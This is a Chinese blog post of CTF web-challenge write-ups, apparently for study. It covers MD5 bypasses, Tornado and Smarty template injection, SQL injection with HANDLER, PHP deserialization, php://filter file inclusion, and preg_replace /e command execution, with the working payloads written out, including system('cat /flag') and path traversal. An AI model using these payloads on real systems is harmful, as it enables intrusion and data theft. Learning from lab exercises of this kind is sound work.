🗒️CTF刷点题
2023-12-25
| 2023-12-26
字数 4057阅读时长 11 分钟
type
status
date
slug
summary
tags
category
icon
password

[MRCTF2020]Ez_bypass 1

源码:
get请求获取id和gg通过if (md5($id) === md5($gg) && $id !== $gg)比较,md5函数无法处理数组,构造id[]=1&gg[]=2。
通过is_numeric判断post的passwd不是数字,弱等于1234567,所以直接加字母即可。passwd=1234567aaa

[护网杯 2018]easy_tornado

get请求
/file?filename=/flag.txt&filehash=576086398d501692b8173ca0e192a631
得到,/flag.txt<br>flag in /fllllllllllllag
 
访问/file?filename=/welcome.txt&filehash=f254ad8109d4499b89b9f811f7fb7ae9
/welcome.txt
render,渲染模板?ssti?
 
hints.txt得到md5(cookie_secret+md5(filename))
看上去像是filehash的加密,猜测构造filename=/fllllllllllllag&filehash=true可以显示flag
无法md5解密,说明不只是这样加密。
 
随意输入进入错误页面,/error?msg=Error前面看着都是路由,还提示了模板,在这里试试
注不出来啊,+-*/感觉全被过滤了,看百度了tornado在搭建一个网站时,肯定会有多个handler,而这些handler都是RequestHandler的子类
/error?msg={{handler.settings}}
得到cookie_secret:fe0435d7-0cf3-4341-8fdf-784ea89f62fc。
找个在线md5加密它即可md5(cookie_secret+md5(filename))

[ZJCTF 2019]NiZhuanSiWei

又是审计
看代码,第一个判断条件出现了file_get_contents,没有过滤,典型的ssrf危险函数。
各种伪协议都没法读文件,只能先用data伪协议过这个判断
/?text=data://text/plain,welcome+to+the+zjctf
第二个判断正则匹配flag,没法直接读,第三层是反序列化,只能源码审计。此时,
第一层判断绕过第一个规则,那就只有第二层判断获取源码了,第二层判断的是file参数,一般文件包含和url跳转用,试试文件包含的伪协议。且第三层注释里有个useless.php,应该就是读它。
此处file协议猜不出绝对路径读不了,相对路径不能用,用php读吧,php://filter/convert.base64-encode/resource=useless.php可读
这就很简单了,file=useless.php包含进这个类,再用反序列化重定义$file=flag.php
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[BJDCTF2020]Easy MD5

随意输入一个参数查询在响应包包看到提示:Hint: select * from 'admin' where password=md5($pass,true)
此处万能密码的构造需要md5($pass,true)的值为''or'1xxx'
or后面的内容字母数字开头均可,不能0开头,相当于弱类型比较。
看wp找脚本跑这个$pass的值,
这里提供一个最常用的:ffifdyop,该字符串md5加密后若raw参数为True时会返回 'or'6<trash> (<trash>其实就是一些乱码和不可见字符)
输入后跳转到levels91.php,注释源码出现以下代码
<!-- $a = $GET['a']; $b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){ // wow, glzjin wants a girl friend. -->
这个一眼数组绕过,md5函数不能处理数组,a[]=1&b[]=2
跳转到/levell14.php,出现以下代码
<?php error_reporting(0); include "flag.php";
highlight_file(FILE);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){ echo $flag; }
又是md5函数,又没法处理数组。param1[]=1&param2[]=2
绕过后拿到flag
小总结:
  • ==比较用0e绕过
  • !==利用数组绕过(和下面的例子类似)

[GYCTF2020]Blacklist

GET请求输入:?inject=1a"'()
报错:your MariaDB server version for the right syntax to use near '()'' at line 1
单引号注入
GET请求输入:/?inject=1select
报错:return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
没过滤时间盲注和堆叠
GET请求输入:/?inject=1'+and+sleep(10)%23
页面延时返回。但是延时比较麻烦,先试试堆叠
GET请求输入:/?inject=1'%3Bshow+databases%3B%23
得到一堆库,但是没有flag开头的。select被过滤,那就先看看当前库的表吧
GET请求输入:/?inject=1'%3Bshow+tables%3B%23
得到表名:string(8) "FlagHere"
此时只需要查这个表的字段即可
1';show columns from FlagHere;#
GET请求输入:/?inject=1'%3Bshow+columns+from+FlagHere%3B%23
得到字段flag
最后查这个字段的值即可,但是select被过滤了。
1';select flag from FlagHere;#
试了一堆也查不出来,能绕过的显示Black list is so weak for you,isn't it 绕不过的显示上面的preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
select虽然不能查询值,但是可以试试等效函数的替换,百度发现有个handler。
使用的流程就是打开句柄,然后查询第一条,下一条数据的流程,关闭句柄。
1';handler FlagHere open;handler FlagHere read first;#
这里查到第一条就行了,句柄这东西也不用关闭,我们查到flag值就行了。

[RoarCTF 2019]Easy Java

登录页面,弱口令,注入都没有,万能密码都没有。
下面有个help,点进去一看是/Download?filename=help.docx
java.io.FileNotFoundException:{help.docx}
看上去是文件上传和下载的模块(java不好,直接百度)
GET请求:/Download?filename=WEB-INF/web.xml
没响应,奇怪了,看wp说要用post,我也不懂为啥。
下载下来之后发现,有个
<servlet> <servlet-name>FlagController</servlet-name> <servlet-class>com.wm.ctf.FlagController</servlet-class> </servlet> <servlet-mapping> <servlet-name>FlagController</servlet-name> <url-pattern>/Flag</url-pattern> </servlet-mapping>
GET请求进/Flag又又又报错了。
百度一下com.xxxx包路径拼接方法。
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
下载了个class,一般要用hex编辑器,这里懒得用了,直接记事本搜索flag和Flag
找到个FlagController <ZmxhZ3szMDVhNThlMS03ZDdhLTRmODEtOTFkNS1hN2VhNDJhN2FlMjJ9Cg==
==一般是base64,解码看看
flag{305a58e1-7d7a-4f81-91d5-a7ea42a7ae22}

[网鼎杯 2018]Fakebook

进robots.txt得到Disallow: /user.php.bak
下载下来看看源码
可能利用的点:魔术方法——>反序列化 curl_exec——>ssrf
此处原本的含义应该是通过curl_exec获取flag.php的代码。因此就需要反序列化重定义$blog的值为flag.php。但是在此处没有看到程序入口。
/use.php应该是注册后进入的用户信息界面,那flag应该在管理员账号。
进入join注册账号:
1
10
haha.blog
notion image
haha可点击,点击进入/view.php?no=1
输入’”()发现报错your MariaDB server version for the right syntax to use near ''"()' at line 1) 看上去是数字型,常规order by判断出是4列
输入1 and extractvalue(1,concat(0x7e,database(),0x7e))报错了no hack,有waf啊。
输入/view.php?no=extractvalue,语法报错但不是no hack。说明没过滤这个,同理,select,union也没过滤。但是输入no=-1 union select 1,2,3,4 报错了。过滤的可能是空格?
输入?no=-1 union/**/select 1,2,3,4 在2的位置回显了,可是-1和union间还没加/**/啊,不懂了,不过已经绕过了,加上后也能绕过。
改2为database(),得到数据库为facebook
改2为user(),发现是root权限,可以试试load_file读文件。
因为加载的是php文件,所以得去源码看。就找到了flag。
/view.php?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4
flag{edfdc600-fc4c-484e-b536-fc4244731744}
这个页面的报错也说明了在这里进行反序列化,
Notice: unserialize(): Error at offset 0 of 1 bytes in /var/www/html/view.php on
当然,已经拿到flag,就不用再反序列化了,懒得开phpstorm了

[BJDCTF2020]The mystery of ip

ip之谜?
进入后发现有个flag.php,页面如下显示
notion image
直接伪造ip了,使用burp的插件burpFakeIP生成一堆,然后筛选,具体见代码块
最后经过筛选,就剩下Client-IP了,不管输入什么都直接显示到页面上,找不到任何信息。
这里肯定跟数据库有交互,或者执行了什么函数。直接将键盘上所有特殊符号全部输入,看看是否有报错,看看报错到底是个什么东西。输入:a~!@#$%^&*()_+|}{":><?d1
notion image
这里就看到关键词了,smarty,template,典型的php模板smarty。
输入{{2*3}} ,页面回显为6,对了,就是这个。
百度搜索“smarty模板执行命令”,得到结果{ {system ("ls")}}
执行后,页面回显的目录有个flag.php,直接{ {system ("cat flag.php")}}
啊?这里面没有flag。想想,根目录?/flag? /flag.php? /var/www/html/flag.php?
最后找到是/flag。通过模板命令{ {system ("cat /flag")}}

[网鼎杯 2020 朱雀组]phpweb

在burp的http history中一直看到很多的post请求包。
func=date&p=Y-m-d+h%3Ai%3As+a
修改func=datssse&p=Y-m-d+h%3Ai%3As+a后特殊字符后报错,
: call_user_func() expects parameter 1 to be a valid callback, function 'datssse' not found or invalid function name incall_user_func为回调函数,典型用于代码执行。
这是回看,发现date就是获取日期的函数,后面的p就是格式规定,也就是参数。
试试RCE常见函数,system(),passthru(),exec(),pcntl_exec(),shell_exec(),popen()/proc_popen(),反引号 ``,eval(),assert(),call_user_func(),create_function(),array_map(),call_user_func_array(),array_filter(),uasort(),preg_replace()
太狠了,全部过滤,返回都是hack。emmm,老老实实读文件吧,路径在index.php的时候就爆出来了。/var/www/html/
构造post请求体func=file_get_contents&p=/var/www/html/index.php得到源代码
回想反序列化4个条件:
  1. __destruct()函数,此函数会在类被销毁时调用,存在于Test类中,此类中有俩个变量func和p,它们最后执行了call_user_func($func, $p)
    1. 在这里达成魔术方法和危险函数俩个条件
  1. 还有俩个条件是参数可控且被反序列化,此时我们传入的func和p 第一次执行call_user_func
    1. 未被反序列化。所以需要func=unserialize ,在p参数这里控制Test类中的func和p,在这里传入序列化后的数据时,就会第二次执行call_user_func ,而此次已经满足参数可控且被反序列化后的俩个条件。
 
根据条件写序列化数据的生成代码:
Test类——>俩成员变量——>destruct函数——>call_user_func
前俩个生成代码,后面的服务端自动调用,不需要写
最后找到flag的位置,func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat+/tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
 
此处看wp找到另一种绕过方式:func=\system&p=ls
\system可以绕过黑名单的原因:php内的" \ "在做代码执行的时候,会识别特殊字符串。
同样的其他命令执行函数也可这样用,比如func=\exec&p=pwd ,但是不知道为啥此函数用ls的时候只能打印一行。

[BSidesCF 2020]Had a bad day

GET请求:/index.php?category=flag.php
Sorry, we currently only support woofers and meowers.
GET请求:/index.php?category=../../../../../../../../etc/passwd;woofers
看报错收集信息:
Warning
: include(../../../../../../../../etc/passwd;woofers.php): failed to open stream: No such file or directory in/var/www/html/index.php
: include(): Failed opening '../../../../../../../../etc/passwd;woofers.php' for inclusion (include_path='.:/usr/local/lib/php') in
关键字include,直接上伪协议file和php
GET请求:/index.php?category=file://./index.php
报错:include(file://./index.php.php) ???多加了后缀
删了后缀再试试,也不行,换协议
GET请求:/index.php?category=php://filter/convert.base64-encode/resource=index
拿到源码(只传php部分):strpos查找字符串首次出现的位置,也就是说有这几个字符串就可以了
加载一下flag看看,php://filter/convert.base64-encode/resource=flag 无法读取。
/index.php?category=woofers.php/../flag 也无法读取。
看wp发现,/index.php?category=woofers/../flag 可以读取,相对路径计算时中间目录不存在并不影响。这个woofers 也是为了过判断,其实写啥都行。
最后通过php://filter/convert.base64-encode/index/resource=flag 成功读取flag。
其实index这可以随便写,看报错是can’t create filter index。这里写啥都无法创建,只要包含index就行。写个php://filter/convert.base64-encode/dasindex124/resource=flag 也成功的
 
官方解释:php://filter还能自己套协议,也就是dasindex124 这部分,找不到这个filter虽然会报Warning,但是不影响执行。

[BJDCTF2020]ZJCTF,不过如此

file_get_contents是ssrf的危险函数,可用伪协议。
同时include是文件包含,也是用伪协议。
I have a dream直接写是错的,那就套个壳。?text=data://text/plain,I have a dream
next.php直接写上去发现页面打印了next.php。所以包含成功。但没有代码的话也不知道如何得到flag。所以用file和php协议。这种php使用file读一般也不会在页面显示,直接试试php
php://filter/convert.base64-encode/resource=next.php
得到源码:
这里就懵逼了,看wp发现是preg_replace()的/e模式存在命令执行漏洞。
源码中的命令执行相当于eval('strtolower("\\1");'),这里的\1实际上指定的是第一个子匹配项。
为什么要匹配到 {${phpinfo()}} 或者 ${phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)
payload:?\S*=${getFlag()}&cmd=system('cat /flag');
执行getFlag函数后,就可以传cmd参数,直接eval代码执行。
既然已经能执行\\1(第一个参数的函数),那直接将getFlag()函数转换成system函数执行。
payload(chr表示可以无引号,绕正则):
${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}
  • 安服
  • 内存马查杀溯源学习
    Loading...